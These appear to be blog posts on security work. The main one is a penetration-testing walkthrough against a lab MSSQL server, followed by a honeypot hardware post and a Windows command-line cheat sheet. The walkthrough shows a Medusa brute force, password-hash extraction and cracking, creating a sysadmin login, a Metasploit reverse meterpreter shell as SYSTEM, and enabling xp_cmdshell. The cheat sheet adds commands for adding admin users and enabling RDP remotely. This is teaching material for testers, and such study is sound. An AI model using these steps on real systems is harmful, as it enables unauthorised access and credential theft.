So now go ahead and run the same nmap command as before.

root@bt:~# nmap -A -p 1433 192.168.134.132
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-12 13:54 EST
Nmap scan report for 192.168.134.132
Host is up (0.0036s latency).
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2005 9.00.1399.00; RTM
MAC Address: 00:0C:29:4C:37:8E (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2003
OS details: Microsoft Windows Server 2003 SP1 or SP2
Network Distance: 1 hop
Service Info: OS: Windows
Host script results:
| ms-sql-info:
|   Windows server name: WIN2003
|   [192.168.134.132\MSSQLSERVER]
|     Instance name: MSSQLSERVER
|     Version: Microsoft SQL Server 2005 RTM
|       Version number: 9.00.1399.00
|       Product: Microsoft SQL Server 2005
|       Service pack level: RTM
|       Post-SP patches applied: No
|     TCP port: 1444
|     Named pipe: \\192.168.134.132\pipe\sql\query
|     Clustered: No
|   [192.168.134.132:1433]
|     Version: Microsoft SQL Server 2005 RTM
|       Version number: 9.00.1399.00
|       Product: Microsoft SQL Server 2005
|       Service pack level: RTM
|       Post-SP patches applied: No
|_    TCP port: 1433

So we see that nmap reports back ports 1444 and 1433 are listening. You may be wondering how nmap knew that port 1444 was open. MSSQL runs a service called the “browser service” which runs on port 1434 and uses UDP instead of TCP. If this browser service wasn’t running nmap wouldn’t be able to pull this information. Basically nmap queries port 1434 asking for any other instances that are running on different ports. It does this using the mssql nmap script. There are a couple of other tools here and here that do the same thing but I stick with nmap since it’s already baked in. So the browser service and additional ports is a very important to keep in mind when pen testing mssql.

Now we have more information about our target which hopefully means we’ll find a weak spot that we can exploit. Once you know the version it’s always recommended to search CVE (common vulnerabilities and weaknesses) and it may also not be a bad idea to search inside the metasploit tool as well. There aren’t a whole lot of remote code execution vulnerabilities for anything SQL Server 2005 and beyond but it’s always worth checking just to make sure. So if they aren’t running an old unpatched version of mssql then that means you’ll need credentials to authenticate to the sql server. This means we’ll need to try and brute force the credentials. The main tool I like to use to perform brute force attacks is medusa, another good alternative is hydra. I have had different degrees of luck with both tools so it may be useful to run both tools although my default is medusa. I will only cover how to use medusa, below is the typical command line options that you feed into medusa.

medusa -h 192.168.134.132 -U dictionary.txt -P dictionary.txt -O medusaOutput.txt -M mssql

The -h is the host, the -U is the username list, -P is the password list, -O is the output file, -M is the module you want to run against in this case it’s mssql. Below is the output of this command.

Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: admin (1 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: password (2 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: sa (3 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: admin (1 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: password (2 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: sa (3 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: sa (3 of 3, 2 complete) Password: admin (1 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: sa (3 of 3, 2 complete) Password: password (2 of 3 complete)
ACCOUNT FOUND: [mssql] Host: 192.168.134.132 User: sa Password: password [SUCCESS]

Your output file resemble the following.

root@bt:~# cat medusaOutput.txt
# Medusa v.2.0 (2011-12-12 22:59:43)
# medusa -h 192.168.134.132 -U dictionary.txt -P dictionary.txt -O medusaOutput -M mssql
ACCOUNT FOUND: [mssql] Host: 192.168.134.132 User: sa Password: password [SUCCESS]
# Medusa has finished (2011-12-12 22:59:46).

The file output is much easier to parse and we can see in the next to last line that it was successful in finding credentials of username = sa and password = password. By default medusa will run against the standard port which is 1433 in this case, if you want medusa to run against a non standard port you’ll need to include the “-n” option.

root@bt:~# medusa -h 192.168.134.132 -U dictionary.txt -P dictionary.txt -O medusaOutput -M mssql -n 1444
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: admin (1 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: password (2 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: sa (3 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: admin (1 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: password (2 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: sa (3 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: sa (3 of 3, 2 complete) Password: admin (1 of 3 complete)
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: sa (3 of 3, 2 complete) Password: password (2 of 3 complete)
ACCOUNT FOUND: [mssql] Host: 192.168.134.132 User: sa Password: password [SUCCESS]

So you see that medusa was able to authenticate to port 1444 with the same username and password. This may not always be the case. With mssql you can configure different ports with different credentials so it’s always best to run a brute force tool like medusa on each individual port and see if you get any hits. Medusa and hydra can take a while to run in my case I had a very small dictionary seen below.

root@bt:~# cat dictionary.txt
admin
password
sa

Large dictionaries can take some time to run so keep that in mind when you’re brute forcing using these kinds of tools. So we got lucky and we credentials for a mssql database, that’s awesome but it’s just another step in the process. Going forward we have a couple of options. As a true attacker you would consider the following options.

  1. Plunder the database for information
  2. Use your credentials to gain further access (e.g. administrator on the underlying operating system)
  3. Start serving up malware for potential victims

I’m not going to touch on the third option but I will discuss the first and second option. So for the first option once we have credentials we can start to query the database. In this scenario I’ve got the best kind of credentials you can ask for on a mssql database which is the “sa” user. This will not always be the case but it’s the example I’ve chosen to follow. One good thing to run with credentials is metasploit’s enum tool. This module basically gives you an overview of the sql server configuration and some note worthy security related configurations. Below is how to use mssql_enum.

msf > use auxiliary/admin/mssql/mssql_enum
msf  auxiliary(mssql_enum) > info

Name: Microsoft SQL Server Configuration Enumerator
Module: auxiliary/admin/mssql/mssql_enum
Version: 14288
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Carlos Perez

Basic options:
Name                 Current Setting  Required  Description
----                 ---------------  --------  -----------
PASSWORD                              no        The password for the specified username
RHOST                                 yes       The target address
RPORT                1433             yes       The target port
USERNAME             sa               no        The username to authenticate as
USE_WINDOWS_AUTHENT  false            yes       Use windows authentification

Description:
This module will perform a series of configuration audits and
security checks against a Microsoft SQL Server database. For this
module to work, valid administrative user credentials must be
supplied.

msf  auxiliary(mssql_enum) > set rhost 192.168.134.132
rhost => 192.168.134.132
msf  auxiliary(mssql_enum) > set password password
password => password
msf  auxiliary(mssql_enum) > run

Below is the output of running the tool.

[*] Running MS SQL Server Enumeration...
[*] Version:
[*] Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
[*]     Oct 14 2005 00:33:37
[*]     Copyright (c) 1988-2005 Microsoft Corporation
[*]     Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
[*] Configuration Parameters:
[*]     C2 Audit Mode is Not Enabled
[*]     xp_cmdshell is Not Enabled
[*]     remote access is Enabled
[*]     allow updates is Not Enabled
[*]     Database Mail XPs is Not Enabled
[*]     Ole Automation Procedures are Not Enabled
[*] Databases on the server:
[*]     Database name:master
[*]     Database Files for master:
[*]         C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\master.mdf
[*]         C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\mastlog.ldf
[*]     Database name:tempdb
[*]     Database Files for tempdb:
[*]         C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\tempdb.mdf
[*]         C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\templog.ldf
[*]     Database name:model
[*]     Database Files for model:
[*]         C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\model.mdf
[*]         C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\modellog.ldf
[*]     Database name:msdb
[*]     Database Files for msdb:
[*]         C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\MSDBData.mdf
[*]         C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\MSDBLog.ldf
[*] System Logins on this Server:
[*]     sa
[*]     ##MS_SQLResourceSigningCertificate##
[*]     ##MS_SQLReplicationSigningCertificate##
[*]     ##MS_SQLAuthenticatorCertificate##
[*]     ##MS_AgentSigningCertificate##
[*]     BUILTIN\Administrators
[*]     NT AUTHORITY\SYSTEM
[*]     WIN2003\SQLServer2005MSSQLUser$WIN2003$MSSQLSERVER
[*]     WIN2003\SQLServer2005SQLAgentUser$WIN2003$MSSQLSERVER
[*]     WIN2003\SQLServer2005MSFTEUser$WIN2003$MSSQLSERVER
[*] Disabled Accounts:
[*]     No Disabled Logins Found
[*] No Accounts Policy is set for:
[*]     All System Accounts have the Windows Account Policy Applied to them.
[*] Password Expiration is not checked for:
[*]     sa
[*] System Admin Logins on this Server:
[*]     sa
[*]     BUILTIN\Administrators
[*]     NT AUTHORITY\SYSTEM
[*]     WIN2003\SQLServer2005MSSQLUser$WIN2003$MSSQLSERVER
[*]     WIN2003\SQLServer2005SQLAgentUser$WIN2003$MSSQLSERVER
[*] Windows Logins on this Server:
[*]     NT AUTHORITY\SYSTEM
[*] Windows Groups that can logins on this Server:
[*]     BUILTIN\Administrators
[*]     WIN2003\SQLServer2005MSSQLUser$WIN2003$MSSQLSERVER
[*]     WIN2003\SQLServer2005SQLAgentUser$WIN2003$MSSQLSERVER
[*]     WIN2003\SQLServer2005MSFTEUser$WIN2003$MSSQLSERVER
[*] Accounts with Username and Password being the same:
[*]     No Account with its password being the same as its username was found.
[*] Accounts with empty password:
[*]     No Accounts with empty passwords where found.
[*] Stored Procedures with Public Execute Permission found:
[*]     sp_replsetsyncstatus
[*]     sp_replcounters
[*]     sp_replsendtoqueue
[*]     sp_resyncexecutesql
[*]     sp_prepexecrpc
[*]     sp_repltrans
[*]     sp_xml_preparedocument
[*]     xp_qv
[*]     xp_getnetname
[*]     sp_releaseschemalock
[*]     sp_refreshview
[*]     sp_replcmds
[*]     sp_unprepare
[*]     sp_resyncprepare
[*]     sp_createorphan
[*]     xp_dirtree
[*]     sp_replwritetovarbin
[*]     sp_replsetoriginator
[*]     sp_xml_removedocument
[*]     sp_repldone
[*]     sp_reset_connection
[*]     xp_fileexist
[*]     xp_fixeddrives
[*]     sp_getschemalock
[*]     sp_prepexec
[*]     xp_revokelogin
[*]     sp_resyncuniquetable
[*]     sp_replflush
[*]     sp_resyncexecute
[*]     xp_grantlogin
[*]     sp_droporphans
[*]     xp_regread
[*]     sp_getbindtoken
[*]     sp_replincrementlsn
[*] Instances found on this server:
[*]     MSSQLSERVER
[*] Default Server Instance SQL Server Service is running under the privilege of:
[*]     LocalSystem
[*] Auxiliary module execution completed

I’m not going to go through this entire output but all of it is relevant to security configuration. Things to note are permissions which the service runs as, password settings (e.g. account lock outs, password expiration), and stored procedures that are available. You can read more about stored procedures but the main thing to know is that they extend the functionality of mssql by giving easy access to common tasks such as granting access to a database. The one stored procedure every pen tester wants access to is the mighty xp_cmdshell which allows you to execute operating system commands with a database call. So information that you can obtain, xp_cmdshell enabled or disabled, about the database will help you to further assess or pen test the setup. Going forward it’s best to have some sort of mssql client so that you can make sql queries to the database. I’m a fan of keeping things lightweight so I prefer command line clients and not GUI (graphical user interface) clients. So for accessing mssql from Linux I recommend sqsh and as for accessing from a windows PC I like the Microsoft SQL Server Command Line Utilities which will first require an install of the Microsoft SQL Server Native Client, both microsoft tools can be found here. Now we’ll get items of interest such as stored procedures but first let’s use one of the clients mentioned to access and run some sql queries. The syntax for both clients is very similar but first let’s look at the microsoft client. You’ll first need to change to the proper folder where the sql client was installed.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>cd "c:\Program Files\Microsoft SQL Server\90\Tools\binn"

C:\Program Files\Microsoft SQL Server\90\Tools\binn>

So to connect to 192.168.134.132 run the following command.

SQLCMD.exe -S 192.168.134.132 -U sa

Below are the basic options for this command

-S for server name (IP or name)
-U for user name
-P for password (will prompt if not supplied)

After you’ve run the above command you should see the following.

C:\Program Files\Microsoft SQL Server\90\Tools\binn>SQLCMD.EXE -S 192.168.134.132 -U sa
Password:
1>

So the “1>” is the prompt where you will enter your sql commands, let’s just run a basic sql query to confirm everything works, we’ll query for the version in this case.

1> select @@version
2> go

-------------------------------------------------------------------------
-------------------------------------------------------------------------
-------------------------------------------------------------------------
------------------------------------------------------------
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

(1 rows affected)
1>

So after typing your sql query you’ll be dropped down to your second prompt “2>” there you will need to type “go” and hit enter for it to run your query. Running the sqsh client you’ll get similar results.

root@bt:~# sqsh -S 192.168.134.132 -U sa
sqsh-2.1 Copyright (C) 1995-2001 Scott C. Gray
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
Password:
1> select @@version
2> go

------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

(1 row affected)
1>

Just type “exit” if you want to leave the client. Another thing to note is the help menu for both commands. Below is the help command for sqsh.

sqsh --help

Help for sqlcmd.exe

sqlcmd.exe /?

One thing that might not be very clear from the help output is how you would connect to a different port. By default both of these clients connect on port 1433, if you want to connect to a different port you’ll have to use the following syntax.

sqsh -S 192.168.134.132:1444 -U sa

sqlcmd.exe -S 192.168.134.132 -U sa

So getting the versions of the database proves that our clients are working correctly and we have access, next we’ll focus on sql queries that will extract some useful information that a pen tester could leverage.
Determine the current user

select suser_sname();

Create user “travis” with password “secret”

exec master..sp_addlogin travis, secret

Or another way

create login travis with password='secret';

Create a table named pwned

create table pwned (owned int not null default 1337);

Determine current database

SELECT DB_NAME();

List all databases

SELECT name FROM master..sysdatabases;

Determine host name of PC the database is installed on

SELECT HOST_NAME();

Determine users with sysadmin rights

select loginname from syslogins where sysadmin = 1

Add user travis to the sysadmin role

exec sp_addsrvrolemember 'travis', 'sysadmin'

Now as an attacker I mentioned the three basic options of plunder database, use credentials for further access, and hosting malware. The commands above are examples of “plundering” the database and these commands merely scratch the surface. Another plundering idea would be to search all databases for “items of interest”. Once you have credentials to the database you have plenty of options for plundering. The second step I mentioned was using your credentials for further access. Two things come to my mind which is cracking sql passwords and gaining access to the underlying OS that hosts the database. An attacker would want to know sql passwords because often those passwords are reused. That reuse includes other databases and possibly other credentials such as active directory credentials. The other piece of gaining access to the underlying OS of the database will allow you to do a number of things such as key logging, searching the file system, pass the hash technique, etc. So I’ll first discuss how to crack the encrypted passwords inside of a mssql database. Just so we’re on the same page a password is not supposed to be stored in clear text in a database is suppose to be stored encrypted as a cryptographic hash. Cryptographic hash is a fancy way of saying that the password cannot be easily determined and they encrypted value is commonly referred as a hash, not to be confused with the delicious food. So the next step is to get these hashes and crack’em.

Extract username and password hashes

select name, password_hash FROM master.sys.sql_logins

You should see something like the following

1> select name, password_hash from master.sys.sql_logins
2> go

name

password_hash

-----------------------------------------
-----------------------------------------
-----------------------------------------
-----------------------------------------

sa

01004086ceb6e0bc04fe5027a51df29e1cf0b74dd3c33214d9db

travis

01007c5b54a91367647bb18d6efc4de8e9e3560037e39e9f712e

Now you can take that password hash and feed it into a password cracker such as john the ripper but before you do that you’ll need to add a zero plus X “0x” to the beginning of the password hash. This needs to be done because john the ripper expects password hashes in certain formats and if you need to know what that format is for various types of hash functions then pentestmonkey is a good resource for this type of information. So your modified hash with zero plus X in front should look like the following.

0x01007c5b54a91367647bb18d6efc4de8e9e3560037e39e9f712e

Now put that into a text file so we can feed it to john the ripper, in this case I named it mssqlHash.txt. Next all you have to do is use the command “john” along with the file that contains the password hashes as below.

root@bt:/pentest/passwords/john# john mssqlHash.txt
Loaded 1 password hash (MS-SQL05 [ms-sql05 SSE2])
secret           (?)
guesses: 1  time: 0:00:00:00 100.00% (2) (ETA: Fri Dec 16 01:18:56 2011)  c/s: 400  trying: secret - service

Here john the ripper was able to crack this hash and determined the password was “secret”. So now that you’ve cracked some passwords on this database there’s a good chance that username and password will work on other databases within the environment you’re testing. Seeing how server and database admins like to keep things together that same username and password will probably work on another machine on the same vlan so just start nmap scanning to find those open ports then add the username and password you found into your medusa dictionary then let medusa do it’s brute forcing and hopefully you’ll find another database you can gain access to.

The last technique I’ll discuss is gaining access to the underlying operating system that the database is running on. Having sysadmin credentials on the database is awesome but having admin on the underlying operating system is even better. As I mentioned before the stored procedure xp_cmdshell is the best way to gain this kind of access but as you can see from the metasploit enum module xp_cmdshell isn’t always at our disposal. The xp_cmdshell was enabled by default on mssql 2000 but mssql 2005 and beyond by default does not enable this stored procedure. Even so a mssql 2000 database administrator could disable it as well. One way and maybe the easiest way is to use metasploits mssql_payload module to enable the xp_cmdshell and give you a meterpreter shell back. Below is the command you’ll need to run. You have to set at least the host you’re targeting (rhost) and the password of the “sa” account. This module will not work unless the user you’re authenticating with has sysadmin credentials, so the account doesn’t have to be “sa” but it has to be a user with a sysadmin role.

msf > use exploit/windows/mssql/mssql_payload
msf  exploit(mssql_payload) > set rhost 192.168.134.132
rhost => 192.168.134.132
msf  exploit(mssql_payload) > set password password
password => password
msf  exploit(mssql_payload) > exploit

[*] Started reverse handler on 192.168.134.135:4444
[*] Command Stager progress -   1.47% done (1499/102246 bytes)
[*] Command Stager progress -   2.93% done (2998/102246 bytes)
snip
.
.
[*] Command Stager progress -  99.59% done (101827/102246 bytes)
[*] Sending stage (752128 bytes) to 192.168.134.132
[*] Command Stager progress - 100.00% done (102246/102246 bytes)
[*] Meterpreter session 1 opened (192.168.134.135:4444 -> 192.168.134.132:1046) at 2011-12-21 22:43:36 -0500

meterpreter >

So at this point we have a meterpreter command prompt on the target computer which is better than a regular windows command prompt. From here we can launch a number of attacks. I’m not going to touch on those for that just simply google “post exploitation” to get an idea of what you may want to accomplish next. At this point its a good idea to make sure you’re on the right computer and determine the types of credentials we have on our target machine. The following commands will determine that information.

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:4c:37:8e
IP Address  : 192.168.134.132
Netmask     : 255.255.255.0

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

So we’re on the correct computer and we have “system” credentials which is the highest credentials you can have on a windows platform. Great success. At the heart of this metasploit module is some sql commands that will enable the xp_cmdshell. If you wanted to manually enable xp_cmdshell you could enter the sql commands below.

1> SP_CONFIGURE 'show advanced options', 1
2> go
Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> reconfigure
2> go
1> SP_CONFIGURE 'xp_cmdshell', 1
2> go
Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> reconfigure
2> go
1>

That’s all folks, more could be covered here but this will get you started. Once again I haven’t covered anything new here and this documentation is meant to capture some of the common tasks that need to be completed when testing mssql. Hope this helps and happy mssql hunting.

Honeypot / honeyd tutorial part 4, hardware

Saturday, November 12th, 2011

So up to this point you’ve probably only ran honeyd on your laptop or desktop machine. If you want to get the most out of honeyd then you’ll probably want to run it on either a server or an embedded device. In the beginning of this series I mentioned you could run a honeypot in a number of ways. Two of the ways I mentioned was to attract malware to a vulnerable system so that you can analyze the latest and greatest malware. The other way was to attract attackers on your network. In my series I’m going to keep the focus on detecting attackers on the local network and not trying to find new malware. The honeynet project already does a great job of tracking down the latest and greatest malware so check that project out.

If you’re going to use honeyd to detect attackers on your local network then you’ll need to place your honeypot as close to your networking equipment as possible. This being the case a racked server or small device with numerous network interfaces will likely be the best solution. A racked server didn’t make much sense for my solution mainly due to the cost but a small embedded device would need good specs to make a good solution. I found a couple of solutions.

First the option that I went with to implement my honeypot running honeyd. The Soekris Net5501.

The great thing about the Soekris is that it has four network interfaces. This allows you access to four different vlans within your environment. Out of the box it comes with the ability to load an OS on compact flash, which is the option that I went with. You could also get a PCI extension that could be fitted with a hard drive. If your install of a honeypot would require large data storage then you’ll need to think about that option. I did not care about data storage, I simply wanted an alert when honeyd saw something come across the wire. Besides even if you needed storage you could have honeyd ship off that data / logs to a centralized location. For $250 bucks this is a great solution. You won’t find to many small devices like this that have four network interfaces. Now you could get a full rack system with plenty of network interfaces but then your cost goes up. More network interfaces would mean that you have access to more vlans so if that’s important to you then you’ll have to plan accordingly. This is setup is not meant to cover your entire organization just a handful of important vlans. Below is a diagram of a potential setup.

In this setup you can place a honeyd host on four different vlans looking for any devices that connect to your honeypot when they should have no business connecting to your honeypot. Keep in mind this is not meant to be an intrusion detection replacement. This solution will ride on top of your existing intrusion detection. Besides most intrusion detection setups that I’ve seen don’t monitor activity inside a particular vlan much less traffic between vlans. The setup I’ve described here is meant to monitor vlans with important assests and data. So in the scenario above you would have to connect your Soekris device to a “core” router that has the vlans you want to monitor. You could also connect the Soekris device to multiple routers if those vlans are mananged by different routers. There are numerous ways to tackle a problem that I’ve described but this is just one of those ways.

There is another device that I believe is very handy in these types of situations and that’s the Alix boards by PC Engines. If you want to buy one I would recomend NetGate which also has other options such as enclosures and lots of other wireless goodness. The Alix board plus enclosure is very small, about the same size of a home wireless router. Below is an Alix board without the enclosure.

You can buy them with a number of configurations, the one above has three network interfaces, one compact flash, one mini pci, plus a cpu and RAM. So no hard drive but you can easily run your OS on the compact flash. Of course the OS of choice should be Linux. Hopefully this answers the question as to what hardware you might could use for your installation of a honeypot in your organization’s environment. Unless you do everything at your organization this type of work will require you to work closely with your network engineering team. That’s all I have, I’d love to hear from others on how they have their honeypots setup and what hardware is powering that setup. Please comment if you have a question.

One liner commands for windows – cheat sheet

Tuesday, October 4th, 2011

Remotely determine logged in user

wmic /node:remotecomputer computersystem get username

List running processes

wmic process list brief

Kill a process

wmic process where name="cmd.exe" delete

Determine open shares

net share
wmic share list brief

Determine IP address

ipconfig

Get a new IP address

ipconfig /release
ipconfig /renew

Remotely display machine’s MAC address

wmic /node:machinename nic get macaddress

Remotely list running processes every second

wmic /node:machinename process list brief /every:1

Remotely display System Info

wmic /node:machinename computersystem list full

Disk drive information

wmic diskdrive list full
wmic partition list full

Bios info

wmic bios list full

List all patches

wmic qfe

Look for a particular patch

wmic qfe where hotfixid="KB958644" list full

Remotely List Local Enabled Accounts

wmic /node:machinename USERACCOUNT WHERE "Disabled=0 AND LocalAccount=1" GET Name

Start a service remotely

wmic /node:machinename 4 service lanmanserver CALL Startservice
sc \\machinename start lanmanserver

List services

wmic service list brief
sc \\machinename query

Disable startup service

sc config example disabled

List user accounts

wmic useraccount list brief

Enable RDP remotely

wmic /node:"machinename 4" path Win32_TerminalServiceSetting where AllowTSConnections=“0” call SetAllowTSConnections “1”

List number of times a user logged on

wmic netlogin where (name like "%adm%") get numberoflogons

Query active RDP sessions

qwinsta /server:192.168.1.1

Remove active RDP session ID 2

rwinsta /server:192.168.1.1 2

Remotely query registry for last logged in user

reg query "\\computername\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultUserName

List all computers in domain “blah”

dsquery computer "OU=example,DC=blah" -o rdn -limit 6000 &gt; output.txt

Reboot

shutdown /r /t 0

Shutdown

shutdown /s /t 0

Remotely reboot machine

shutdown /m \\192.168.1.1 /r /t 0 /f

Copy entire folder and its contents from a remote source to local machine

xcopy /s \\remotecomputer\directory c:\local

Find location of file with string “blah” in file name

dir c:\ /s /b | find "blah"

Spawn a new command prompt

start cmd

Determine name of a machine with known IP

nbtstat -A 192.168.1.1

Find directory named blah

dir c:\ /s /b /ad | find "blah"

Command line history

F7

Determine the current user (aka whoami Linux equivalent)

echo %USERNAME%

Determine who is apart of the administrators group

net localgroup administrators

Add a user where travis is the username and password is blah

net user travis blah /add

Add user travis to administrators group

net localgroup administrators travis /add

List user accounts

net user

Map a network share with a given drive letter of T:

net use T: \\serverNameOrIP\shareName

List network connections and the programs that are making those connections

netstat -nba

Display contents of file text.txt

type text.txt

Edit contents of file text.txt

edit text.txt

Determine PC name

hostname

Run cmd.exe as administrator user

runas /user:administrator cmd

Uninstall a program, Symantec in this case ;-}

wmic product where “description=’Symantec’ ” uninstall

Determine whether a system is 32 or 64 bit

wmic cpu get DataWidth /format:list

Powershell one liner download file

(new-object System.Net.WebClient).Downloadfile("http://example.com/file.txt", "C:\Users\Travis\file.txt")

Information about OS version and other useful system information

systeminformation

Startup applications

wmic startup get caption,command

Recursively unzip all zip folders, you’ll need unzip.exe for this

FOR /R %a (*.zip) do unzip -d unzipDir "%a"